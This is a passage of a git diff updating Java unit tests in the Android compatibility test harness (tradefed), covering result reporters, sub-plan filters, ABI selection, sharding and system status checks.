-import java.io.FileFilter;
 import java.util.HashMap;
-import java.util.List;
 
+/**
+ * Tests for {@link ConsoleReporter}.
+ */
 public class ConsoleReporterTest extends TestCase {
 
-    private static final String TESTCASES = "testcases";
     private static final String NAME = "ModuleName";
     private static final String NAME2 = "ModuleName2";
     private static final String ABI = "mips64";
@@ -48,19 +39,11 @@
     private static final String METHOD_1 = "testBlah1";
     private static final String METHOD_2 = "testBlah2";
     private static final String METHOD_3 = "testBlah3";
-    private static final String TEST_1 = String.format("%s#%s", CLASS, METHOD_1);
-    private static final String TEST_2 = String.format("%s#%s", CLASS, METHOD_2);
-    private static final String TEST_3 = String.format("%s#%s", CLASS, METHOD_3);
     private static final String STACK_TRACE = "Something small is not alright\n " +
             "at four.big.insects.Marley.sing(Marley.java:10)";
 
     private ConsoleReporter mReporter;
-    private IBuildInfo mBuildInfo;
-    private CompatibilityBuildHelper mBuildHelper;
-
-    private File mRoot = null;
-    private File mBase = null;
-    private File mTests = null;
+    private IInvocationContext mContext;
 
     @Override
     public void setUp() throws Exception {
@@ -75,7 +58,7 @@
     }
 
     public void testResultReporting_singleModule() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
         mReporter.testRunStarted(ID, 3);
         runTests();
 
@@ -90,7 +73,7 @@
     }
 
     public void testResultReporting_multipleModules() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
         mReporter.testRunStarted(ID, 3);
         runTests();
 
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/MetadataReporterTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/MetadataReporterTest.java
index dba3128..1f80dec 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/MetadataReporterTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/MetadataReporterTest.java
@@ -22,6 +22,8 @@
 import com.android.tradefed.build.BuildInfo;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.invoker.InvocationContext;
 import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.RunUtil;
 
@@ -38,8 +40,6 @@
 
     private static final String MIN_TEST_DURATION = "10";
     private static final String BUILD_NUMBER = "2";
-    private static final String SUITE_PLAN = "cts";
-    private static final String DYNAMIC_CONFIG_URL = "";
     private static final String ROOT_DIR_NAME = "root";
     private static final String BASE_DIR_NAME = "android-tests";
     private static final String TESTCASES = "testcases";
@@ -52,11 +52,10 @@
     private static final String METHOD_3 = "testBlah3";
     private static final String STACK_TRACE = "Something small is not alright\n " +
             "at four.big.insects.Marley.sing(Marley.java:10)";
-    private static final long START_TIME = 123456L;
 
     private MetadataReporter mReporter;
     private IBuildInfo mBuildInfo;
-    private CompatibilityBuildHelper mBuildHelper;
+    private IInvocationContext mContext;
 
     private File mRoot = null;
     private File mBase = null;
@@ -72,10 +71,12 @@
         mBase.mkdirs();
         mTests = new File(mBase, TESTCASES);
         mTests.mkdirs();
-        System.setProperty(CompatibilityBuildHelper.ROOT_DIR, mRoot.getAbsolutePath());
-        mBuildInfo = new BuildInfo(BUILD_NUMBER, "", "");
-        mBuildHelper = new CompatibilityBuildHelper(mBuildInfo);
-        mBuildHelper.init(SUITE_PLAN, DYNAMIC_CONFIG_URL, START_TIME);
+        mBuildInfo = new BuildInfo(BUILD_NUMBER, "");
+        mBuildInfo.addBuildAttribute(CompatibilityBuildHelper.ROOT_DIR, mRoot.getAbsolutePath());
+        mBuildInfo.addBuildAttribute(CompatibilityBuildHelper.SUITE_NAME, "tests");
+        mBuildInfo.addBuildAttribute(CompatibilityBuildHelper.START_TIME_MS, "0");
+        mContext = new InvocationContext();
+        mContext.addDeviceBuildInfo("fakeDevice", mBuildInfo);
     }
 
     @Override
@@ -88,7 +89,7 @@
      * Test that when tests execute faster than the threshold we do not report then.
      */
     public void testResultReportingFastTests() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
         mReporter.testRunStarted(ID, 3);
         runTests(0l);
         Collection<MetadataReporter.TestMetadata> metadata = mReporter.getTestMetadata();
@@ -101,7 +102,7 @@
      * Test that when tests execute slower than the limit we report them if they passed.
      */
     public void testResultReportingSlowTests() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
         mReporter.testRunStarted(ID, 3);
         runTests(50l);
 
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java
index 37f5704..c98b34b 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/ResultReporterTest.java
@@ -17,16 +17,21 @@
 package com.android.compatibility.common.tradefed.result;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.util.AbiUtils;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
 import com.android.compatibility.common.util.ICaseResult;
 import com.android.compatibility.common.util.IInvocationResult;
 import com.android.compatibility.common.util.IModuleResult;
 import com.android.compatibility.common.util.ITestResult;
 import com.android.compatibility.common.util.TestStatus;
 import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.BuildInfo;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.invoker.InvocationContext;
+import com.android.tradefed.result.ByteArrayInputStreamSource;
+import com.android.tradefed.result.InputStreamSource;
+import com.android.tradefed.result.LogDataType;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
 
 import junit.framework.TestCase;
@@ -36,6 +41,9 @@
 import java.util.HashMap;
 import java.util.List;
 
+/**
+ * Unit tests for {@link ResultReporter}
+ */
 public class ResultReporterTest extends TestCase {
 
     private static final String ROOT_PROPERTY = "TESTS_ROOT";
@@ -64,10 +72,10 @@
         "compatibility_result.xsd",
         "compatibility_result.xsl",
         "logo.png"};
-    private static final long START_TIME = 123456L;
 
     private ResultReporter mReporter;
     private IBuildInfo mBuildInfo;
+    private IInvocationContext mContext;
     private CompatibilityBuildHelper mBuildHelper;
 
     private File mRoot = null;
@@ -77,16 +85,33 @@
     @Override
     public void setUp() throws Exception {
         mReporter = new ResultReporter();
-        OptionSetter setter = new OptionSetter(mReporter);
         mRoot = FileUtil.createTempDir(ROOT_DIR_NAME);
         mBase = new File(mRoot, BASE_DIR_NAME);
         mBase.mkdirs();
         mTests = new File(mBase, TESTCASES);
         mTests.mkdirs();
         System.setProperty(ROOT_PROPERTY, mRoot.getAbsolutePath());
-        mBuildInfo = new BuildInfo(BUILD_NUMBER, "", "");
+        CompatibilityBuildProvider provider = new CompatibilityBuildProvider() {
+            @Override
+            protected String getSuiteInfoName() {
+                return SUITE_NAME;
+            }
+            @Override
+            protected String getSuiteInfoBuildNumber() {
+                return BUILD_NUMBER;
+            }
+            @Override
+            protected String getSuiteInfoVersion() {
+                return BUILD_NUMBER;
+            }
+        };
+        OptionSetter setter = new OptionSetter(provider);
+        setter.setOptionValue("plan", SUITE_PLAN);
+        setter.setOptionValue("dynamic-config-url", DYNAMIC_CONFIG_URL);
+        mBuildInfo = provider.getBuild();
         mBuildHelper = new CompatibilityBuildHelper(mBuildInfo);
-        mBuildHelper.init(SUITE_PLAN, DYNAMIC_CONFIG_URL, START_TIME);
+        mContext = new InvocationContext();
+        mContext.addDeviceBuildInfo("fakeDevice", mBuildInfo);
     }
 
     @Override
@@ -96,7 +121,7 @@
     }
 
     public void testSetup() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
         // Should have created a directory for the logs
         File[] children = mBuildHelper.getLogsDir().listFiles();
         assertTrue("Didn't create logs dir", children.length == 1 && children[0].isDirectory());
@@ -116,7 +141,7 @@
     }
 
     public void testResultReporting() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
         mReporter.testRunStarted(ID, 2);
         TestIdentifier test1 = new TestIdentifier(CLASS, METHOD_1);
         mReporter.testStarted(test1);
@@ -127,6 +152,7 @@
         TestIdentifier test3 = new TestIdentifier(CLASS, METHOD_3);
         mReporter.testStarted(test3);
         mReporter.testFailed(test3, STACK_TRACE);
+        mReporter.testEnded(test3, new HashMap<String, String>());
         mReporter.testRunEnded(10, new HashMap<String, String>());
         mReporter.invocationEnded(10);
         IInvocationResult result = mReporter.getResult();
@@ -174,7 +200,7 @@
     public void testRepeatedExecutions() throws Exception {
         String[] methods = new String[] {METHOD_1, METHOD_2, METHOD_3};
 
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
 
         makeTestRun(methods, new boolean[] {true, false, true});
         makeTestRun(methods, new boolean[] {true, false, false});
@@ -220,7 +246,7 @@
     }
 
     public void testRetry() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
 
         // Set up IInvocationResult with existing results from previous session
         mReporter.testRunStarted(ID, 2);
@@ -275,7 +301,7 @@
     }
 
     public void testRetryCanSetDone() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
         // Set mCanMarkDone directly (otherwise we must build result directory, write XML, and
         // perform actual retry)
         mReporter.mCanMarkDone = true;
@@ -314,7 +340,7 @@
     }
 
     public void testRetryCannotSetDone() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
         // Set mCanMarkDone directly (otherwise we must build result directory, write XML, and
         // perform actual retry)
         mReporter.mCanMarkDone = false;
@@ -353,7 +379,7 @@
     }
 
     public void testResultReporting_moduleNotDone() throws Exception {
-        mReporter.invocationStarted(mBuildInfo);
+        mReporter.invocationStarted(mContext);
         mReporter.testRunStarted(ID, 2);
         TestIdentifier test1 = new TestIdentifier(CLASS, METHOD_1);
         mReporter.testStarted(test1);
@@ -392,4 +418,27 @@
                     file.exists() && file.isFile() && file.length() > 0);
         }
     }
+
+    /**
+     * Ensure that when {@link ResultReporter#testLog(String, LogDataType, InputStreamSource)} is
+     * called, a single invocation result folder is created and populated.
+     */
+    public void testTestLog() throws Exception {
+        InputStreamSource fakeData = new ByteArrayInputStreamSource("test".getBytes());
+        mReporter.invocationStarted(mContext);
+        mReporter.testLog("test1", LogDataType.LOGCAT, fakeData);
+        // date folder
+        assertEquals(1, mBuildHelper.getLogsDir().list().length);
+        // inv_ folder
+        assertEquals(1, mBuildHelper.getLogsDir().listFiles()[0].list().length);
+        // actual logs
+        assertEquals(1, mBuildHelper.getLogsDir().listFiles()[0].listFiles()[0].list().length);
+        mReporter.testLog("test2", LogDataType.LOGCAT, fakeData);
+        // date folder
+        assertEquals(1, mBuildHelper.getLogsDir().list().length);
+        // inv_ folder
+        assertEquals(1, mBuildHelper.getLogsDir().listFiles()[0].list().length);
+        // actual logs
+        assertEquals(2, mBuildHelper.getLogsDir().listFiles()[0].listFiles()[0].list().length);
+    }
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/SubPlanHelperTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/SubPlanHelperTest.java
index d7c4e67..8912411 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/SubPlanHelperTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/result/SubPlanHelperTest.java
@@ -18,7 +18,7 @@
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.testtype.ISubPlan;
-import com.android.compatibility.common.util.AbiUtils;
+import com.android.compatibility.common.tradefed.testtype.SubPlan;
 import com.android.compatibility.common.util.ICaseResult;
 import com.android.compatibility.common.util.IInvocationResult;
 import com.android.compatibility.common.util.IModuleResult;
@@ -30,6 +30,7 @@
 import com.android.tradefed.build.BuildInfo;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.ArgsOptionParser;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
 
 import junit.framework.TestCase;
@@ -74,6 +75,8 @@
     private static final String SP_RESULT_TYPE_FAILED = "failed";
     private static final String SP_RESULT_TYPE_NOT_EXECUTED = "not_executed";
 
+    private static final String PARAM_SUFFIX = "[0]";
+
     private CompatibilityBuildHelper mBuildHelper;
     private SubPlanHelper mSubPlanHelper;
 
@@ -121,6 +124,42 @@
         assertTrue(planIncludes.contains(tf3.toString())); // include failure in executed module
     }
 
+    public void testAddInclude() throws Exception {
+        ISubPlan subPlan = new SubPlan();
+        TestFilter tf = new TestFilter(ABI, NAME_A, String.format("%s#%s", CLASS_A, METHOD_1));
+        SubPlanHelper.addIncludeToSubPlan(subPlan, tf);
+        Set<String> includes = subPlan.getIncludeFilters();
+        assertTrue(includes.contains(tf.toString()));
+    }
+
+    public void testAddExclude() throws Exception {
+        ISubPlan subPlan = new SubPlan();
+        TestFilter tf = new TestFilter(ABI, NAME_A, String.format("%s#%s", CLASS_A, METHOD_1));
+        SubPlanHelper.addExcludeToSubPlan(subPlan, tf);
+        Set<String> excludes = subPlan.getExcludeFilters();
+        assertTrue(excludes.contains(tf.toString()));
+    }
+
+    public void testAddParameterizedInclude() throws Exception {
+        ISubPlan subPlan = new SubPlan();
+        TestFilter filterWithSuffix = new TestFilter(ABI, NAME_A,
+                String.format("%s#%s%s", CLASS_A, METHOD_1, PARAM_SUFFIX));
+        TestFilter filterWithoutSuffix = new TestFilter(ABI, NAME_A,
+                String.format("%s#%s", CLASS_A, METHOD_1));
+        SubPlanHelper.addIncludeToSubPlan(subPlan, filterWithSuffix);
+        Set<String> includes = subPlan.getIncludeFilters();
+        assertTrue(includes.contains(filterWithoutSuffix.toString()));
+    }
+
+    public void testAddParameterizedExclude() throws Exception {
+        ISubPlan subPlan = new SubPlan();
+        TestFilter filterWithSuffix = new TestFilter(ABI, NAME_A,
+                String.format("%s#%s%s", CLASS_A, METHOD_1, PARAM_SUFFIX));
+        SubPlanHelper.addExcludeToSubPlan(subPlan, filterWithSuffix);
+        Set<String> excludes = subPlan.getExcludeFilters();
+        assertTrue(excludes.isEmpty());
+    }
+
     private void populateResults() throws Exception {
         // copied from ResultHandlerTest
         IInvocationResult result = new InvocationResult();
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/targetprep/PropertyCheckTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/targetprep/PropertyCheckTest.java
index a309a47..617fde6 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/targetprep/PropertyCheckTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/targetprep/PropertyCheckTest.java
@@ -45,6 +45,7 @@
         mMockBuildInfo = new DeviceBuildInfo("0", "", "");
         mOptionSetter = new OptionSetter(mPropertyCheck);
         EasyMock.expect(mMockDevice.getProperty(PROPERTY)).andReturn(ACTUAL_VALUE).anyTimes();
+        EasyMock.expect(mMockDevice.getDeviceDescriptor()).andReturn(null).anyTimes();
     }
 
     public void testWarningMatch() throws Exception {
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/targetprep/SettingsPreparerTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/targetprep/SettingsPreparerTest.java
index 739662e..7fbb39e 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/targetprep/SettingsPreparerTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/targetprep/SettingsPreparerTest.java
@@ -16,7 +16,6 @@
 
 package com.android.compatibility.common.tradefed.targetprep;
 
-import com.android.tradefed.build.DeviceBuildInfo;
 import com.android.tradefed.build.BuildInfo;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.OptionSetter;
@@ -27,6 +26,9 @@
 
 import org.easymock.EasyMock;
 
+/**
+ * Tests for {@link SettingsPreparer}
+ */
 public class SettingsPreparerTest extends TestCase {
 
     private SettingsPreparer mSettingsPreparer;
@@ -43,6 +45,7 @@
         super.setUp();
         mSettingsPreparer = new SettingsPreparer();
         mMockDevice = EasyMock.createMock(ITestDevice.class);
+        EasyMock.expect(mMockDevice.getDeviceDescriptor()).andReturn(null).anyTimes();
         mMockBuildInfo = new BuildInfo("0", "", "");
         mOptionSetter = new OptionSetter(mSettingsPreparer);
         mOptionSetter.setOptionValue("device-setting", "stay_on_while_plugged_in");
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
new file mode 100644
index 0000000..2724df6
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBaseTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.tradefed.testtype;
+
+import com.android.ddmlib.IDevice;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.result.JUnit4ResultForwarder;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+
+import junit.framework.TestCase;
+
+import org.easymock.EasyMock;
+
+import org.junit.runner.JUnitCore;
+import org.junit.runner.Request;
+import org.junit.runner.Runner;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import java.util.Collections;
+
+/**
+ * Tests for the CompatibilityHostTestBase class.
+ */
+public class CompatibilityHostTestBaseTest extends TestCase {
+
+    private static final String DEVICE_TEST_PKG = "com.android.foo";
+
+    @RunWith(DeviceJUnit4ClassRunner.class)
+    public static class MockTest extends CompatibilityHostTestBase {
+
+        @Test
+        public void testRunDeviceTests() throws Exception {
+            runDeviceTests(DEVICE_TEST_PKG, null, null);
+        }
+
+    }
+
+    public void testRunMockDeviceTests() throws Exception {
+        final TestIdentifier testRunDeviceTests =
+                new TestIdentifier(MockTest.class.getName(), "testRunDeviceTests");
+
+        ITestInvocationListener listener = EasyMock.createMock(ITestInvocationListener.class);
+        ITestDevice device = EasyMock.createMock(ITestDevice.class);
+
+        listener.testStarted(testRunDeviceTests);
+        EasyMock.expect(device.getIDevice()).andReturn(EasyMock.createMock(IDevice.class)).once();
+        EasyMock.expect(device.runInstrumentationTests((RemoteAndroidTestRunner)
+                EasyMock.anyObject(), (CollectingTestListener) EasyMock.anyObject())).andReturn(
+                true).once();
+        listener.testEnded(testRunDeviceTests, Collections.emptyMap());
+        EasyMock.replay(listener, device);
+
+        JUnitCore runnerCore = new JUnitCore();
+        runnerCore.addListener(new JUnit4ResultForwarder(listener));
+        Runner checkRunner = Request.aClass(MockTest.class).getRunner();
+        ((IDeviceTest) checkRunner).setDevice(device);
+        ((IBuildReceiver) checkRunner).setBuild(EasyMock.createMock(IBuildInfo.class));
+        ((IAbiReceiver) checkRunner).setAbi(EasyMock.createMock(IAbi.class));
+        runnerCore.run(checkRunner);
+        EasyMock.verify(listener, device);
+    }
+
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTestTest.java
index ccab426..ef402e1 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTestTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTestTest.java
@@ -13,19 +13,310 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-
 package com.android.compatibility.common.tradefed.testtype;
 
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.ITestLogger;
+import com.android.tradefed.result.ByteArrayInputStreamSource;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.result.InputStreamSource;
+import com.android.tradefed.result.LogDataType;
+import com.android.tradefed.suite.checker.ISystemStatusChecker;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.util.AbiUtils;
+
 import junit.framework.TestCase;
 
+import org.easymock.EasyMock;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Test class for {@link CompatibilityTest}
+ */
 public class CompatibilityTestTest extends TestCase {
 
+    private static final String FAKE_HOST_ARCH = "arm";
+    private CompatibilityTest mTest;
+    private ITestDevice mMockDevice;
+    private ITestLogger mMockLogger;
+    private ITestInvocationListener mMockListener;
+
     @Override
     public void setUp() throws Exception {
+        mTest = new CompatibilityTest() {
+            @Override
+            protected Set<String> getAbisForBuildTargetArch() {
+                return AbiUtils.getAbisForArch(FAKE_HOST_ARCH);
+            }
+        };
+        mMockDevice = EasyMock.createMock(ITestDevice.class);
+        mTest.setDevice(mMockDevice);
+        mMockLogger = EasyMock.createMock(ITestLogger.class);
+        mMockListener = EasyMock.createMock(ITestInvocationListener.class);
     }
 
-    @Override
-    public void tearDown() throws Exception {
+    /**
+     * Test that {@link CompatibilityTest#getAbis()} is returning a proper intersection of CTS
+     * supported architectures and Device supported architectures.
+     */
+    public void testGetAbis() throws DeviceNotAvailableException {
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
+                .andReturn("arm64-v8a,armeabi-v7a,armeabi");
+        Set<String> expectedAbis = new HashSet<>();
+        expectedAbis.add("arm64-v8a");
+        expectedAbis.add("armeabi-v7a");
+        EasyMock.replay(mMockDevice);
+        Set<IAbi> res = mTest.getAbis();
+        assertEquals(2, res.size());
+        for (IAbi abi : res) {
+            assertTrue(expectedAbis.contains(abi.getName()));
+        }
+        EasyMock.verify(mMockDevice);
     }
 
+    /**
+     * Test that {@link CompatibilityTest#getAbis()} is throwing an exception when none of the
+     * CTS build supported abi match the device abi.
+     */
+    public void testGetAbis_notSupported() throws DeviceNotAvailableException {
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
+                .andReturn("armeabi");
+        EasyMock.replay(mMockDevice);
+        try {
+            mTest.getAbis();
+            fail("Should have thrown an exception");
+        } catch (IllegalArgumentException e) {
+            assertEquals("None of the abi supported by this CTS build ('[armeabi-v7a, arm64-v8a]')"
+                    + " are supported by the device ('[armeabi]').", e.getMessage());
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test that {@link CompatibilityTest#getAbis()} is returning only the device primary abi.
+     */
+    public void testGetAbis_primaryAbiOnly() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
+                .andReturn("arm64-v8a");
+        Set<String> expectedAbis = new HashSet<>();
+        expectedAbis.add("arm64-v8a");
+        EasyMock.replay(mMockDevice);
+        Set<IAbi> res = mTest.getAbis();
+        assertEquals(1, res.size());
+        for (IAbi abi : res) {
+            assertTrue(expectedAbis.contains(abi.getName()));
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test that {@link CompatibilityTest#getAbis()} is throwing an exception if the primary
+     * abi is not supported.
+     */
+    public void testGetAbis_primaryAbiOnly_NotSupported() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue(CompatibilityTest.PRIMARY_ABI_RUN, "true");
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abi")))
+                .andReturn("armeabi");
+        EasyMock.replay(mMockDevice);
+        try {
+            mTest.getAbis();
+            fail("Should have thrown an exception");
+        } catch (IllegalArgumentException e) {
+            assertEquals("Your CTS hasn't been built with abi 'armeabi' support, "
+                    + "this CTS currently supports '[armeabi-v7a, arm64-v8a]'.", e.getMessage());
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test that {@link CompatibilityTest#getAbis()} is returning the list of abi supported by
+     * Compatibility and the device, and not the particular CTS build.
+     */
+    public void testGetAbis_skipCtsArchCheck() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
+        EasyMock.expect(mMockDevice.getProperty(EasyMock.eq("ro.product.cpu.abilist")))
+                .andReturn("x86_64,x86,armeabi");
+        Set<String> expectedAbis = new HashSet<>();
+        expectedAbis.add("x86_64");
+        expectedAbis.add("x86");
+        EasyMock.replay(mMockDevice);
+        Set<IAbi> res = mTest.getAbis();
+        assertEquals(2, res.size());
+        for (IAbi abi : res) {
+            assertTrue(expectedAbis.contains(abi.getName()));
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test {@link CompatibilityTest#getAbis()} when we skip the Cts side architecture check and
+     * want to run x86 abi.
+     */
+    public void testGetAbis_skipCtsArchCheck_abiSpecified() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue(CompatibilityTest.SKIP_HOST_ARCH_CHECK, "true");
+        setter.setOptionValue(CompatibilityTest.ABI_OPTION, "x86");
+        Set<String> expectedAbis = new HashSet<>();
+        expectedAbis.add("x86");
+        EasyMock.replay(mMockDevice);
+        Set<IAbi> res = mTest.getAbis();
+        assertEquals(1, res.size());
+        for (IAbi abi : res) {
+            assertTrue(expectedAbis.contains(abi.getName()));
+        }
+        EasyMock.verify(mMockDevice);
+    }
+
+    /**
+     * Test {@link CompatibilityTest#split()} when a shard number is specified.
+     */
+    public void testSplit() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("shards", "4");
+        assertEquals(4, mTest.split().size());
+    }
+
+    /**
+     * Test {@link CompatibilityTest#split()} when no shard number is specified.
+     */
+    public void testSplit_notShardable() throws Exception {
+        assertNull(mTest.split());
+    }
+
+    /**
+     * Test {@link CompatibilityTest#runPreModuleCheck(String, List, ITestDevice, ITestLogger)}
+     * is successful when no system checker fails.
+     */
+    public void testRunPreModuleCheck() throws Exception {
+        List<ISystemStatusChecker> systemCheckers = new ArrayList<>();
+        // add 2 inop status checkers.
+        systemCheckers.add(new ISystemStatusChecker() {});
+        systemCheckers.add(new ISystemStatusChecker() {});
+        EasyMock.replay(mMockDevice, mMockLogger);
+        mTest.runPreModuleCheck("FAKE_MODULE", systemCheckers, mMockDevice, mMockLogger);
+        EasyMock.verify(mMockDevice, mMockLogger);
+    }
+
+    /**
+     * Test {@link CompatibilityTest#runPreModuleCheck(String, List, ITestDevice, ITestLogger)}
+     * is failing and log the failure.
+     */
+    public void testRunPreModuleCheck_failure() throws Exception {
+        List<ISystemStatusChecker> systemCheckers = new ArrayList<>();
+        // add 2 inop status checkers.
+        systemCheckers.add(new ISystemStatusChecker() {});
+        systemCheckers.add(new ISystemStatusChecker() {
+            @Override
+            public boolean preExecutionCheck(ITestDevice device) {
+                // fails
+                return false;
+            }
+        });
+        InputStreamSource res = new ByteArrayInputStreamSource("fake bugreport".getBytes());
+        EasyMock.expect(mMockDevice.getBugreport()).andReturn(res);
+        mMockLogger.testLog(EasyMock.eq("bugreport-checker-pre-module-FAKE_MODULE"),
+                EasyMock.eq(LogDataType.BUGREPORT),
+                EasyMock.same(res));
+        EasyMock.replay(mMockDevice, mMockLogger);
+        mTest.runPreModuleCheck("FAKE_MODULE", systemCheckers, mMockDevice, mMockLogger);
+        EasyMock.verify(mMockDevice, mMockLogger);
+    }
+
+    /**
+     * Test {@link CompatibilityTest#runPostModuleCheck(String, List, ITestDevice, ITestLogger)}
+     * is successful when no system checker fails.
+     */
+    public void testRunPostModuleCheck() throws Exception {
+        List<ISystemStatusChecker> systemCheckers = new ArrayList<>();
+        // add 2 inop status checkers.
+        systemCheckers.add(new ISystemStatusChecker() {});
+        systemCheckers.add(new ISystemStatusChecker() {});
+        EasyMock.replay(mMockDevice, mMockLogger);
+        mTest.runPostModuleCheck("FAKE_MODULE", systemCheckers, mMockDevice, mMockLogger);
+        EasyMock.verify(mMockDevice, mMockLogger);
+    }
+
+    /**
+     * Test {@link CompatibilityTest#runPreModuleCheck(String, List, ITestDevice, ITestLogger)}
+     * is failing and log the failure.
+     */
+    public void testRunPostModuleCheck_failure() throws Exception {
+        List<ISystemStatusChecker> systemCheckers = new ArrayList<>();
+        // add 2 inop status checkers.
+        systemCheckers.add(new ISystemStatusChecker() {});
+        systemCheckers.add(new ISystemStatusChecker() {
+            @Override
